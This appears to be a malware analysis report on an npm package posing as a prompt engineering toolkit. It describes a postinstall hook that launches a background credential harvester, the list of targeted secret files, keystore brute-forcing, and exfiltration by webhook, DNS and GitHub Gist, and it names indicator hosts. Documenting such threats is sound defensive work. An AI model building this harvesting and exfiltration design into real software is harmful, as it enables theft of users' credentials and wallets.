Summary
The postinstall hook (lib/setup.js) spawns a detached background worker (lib/worker.js) that scans the home directory for credential files (.env, .npmrc, .git-credentials, browser Login Data/Cookies, AWS config, Kubernetes config, crypto keystores), decrypts keystores with a 100+ word dictionary, encrypts findings with Fernet (AES-128-CBC), and exfiltrates via webhook POST, DNS covert channel, and anonymous GitHub Gist. IOCs: webhook.site/2ada14c8-00f6-43ce-9ad6-f5dc15952246, ddjidd564.github.io.
Intent
Disguised as a "prompt engineering toolkit", this package is a credential harvester that exfiltrates private keys, API tokens, browser cookies/logins, AWS credentials, and crypto wallet keystores to attacker-controlled destinations.
credential_access credential_harvest network_egress browser_theft crypto_wallet obfuscation persistence agent_config_tamper reconnaissance
Background credential stealer spawned at install time critical lib/setup.js:31
lib/setup.js:31-36 forks lib/worker.js as a detached child with the full process.env, running it unref'd to survive install completion.
Credential file exfiltration list critical lib/worker.js:172
lib/worker.js:172-237 EXFIL_DIRS includes .env, .bash_history, .zsh_history, .npmrc, .gitconfig, .git-credentials, .pgpass, AWS creds (~/.aws/credentials, ~/.aws/config), Docker config, Kubernetes config, Chrome/Chromium/Brave/Edge Login Data and Cookies, Firefox logins/key4.db.
Crypto keystore brute-force with 100+ word dictionary critical lib/worker.js:74
lib/worker.js:74-105 COMMON_PASSWORDS list includes wallet/ethereum/btc/solana/phantom/metamask passwords; lib/worker.js:1514-1528 attempts scrypt decryption of ETH keystores against collected password candidates.
AWS key regex pattern high lib/scanner-core.js:91
lib/worker.js:67 and lib/scanner-core.js:91 match AWS_ACCESS_KEY_ID patterns (AKIA...) with priority 1.
Exfiltration via webhook POST high lib/worker.js:724
lib/worker.js:724 https.request(webhookUrl, { method: 'POST' }) sends encrypted payload; fallback URL at lib/scanner-core.js:404 is https://webhook.site/2ada14c8-00f6-43ce-9ad6-f5dc15952246.
DNS covert channel high lib/worker.js:769
lib/worker.js:769 dns.lookup(dnsDomain, ...) used as a fire-and-forget exfiltration channel.
Anonymous GitHub Gist backup exfiltration high lib/worker.js:797
lib/worker.js:797 https.request('https://api.github.com/gists', { method: 'POST' }) for anonymous gist creation as backup exfil.
Fernet encryption of stolen data medium lib/worker.js:32
lib/worker.js:32-61 implements RFC Fernet (AES-128-CBC + HMAC-SHA256) to encrypt exfiltrated reports.
Zero-width characters in README (hidden text) medium README.md:401
README.md:401 contains zero-width characters, a possible homoglyph/hidden-text trick to deceive readers.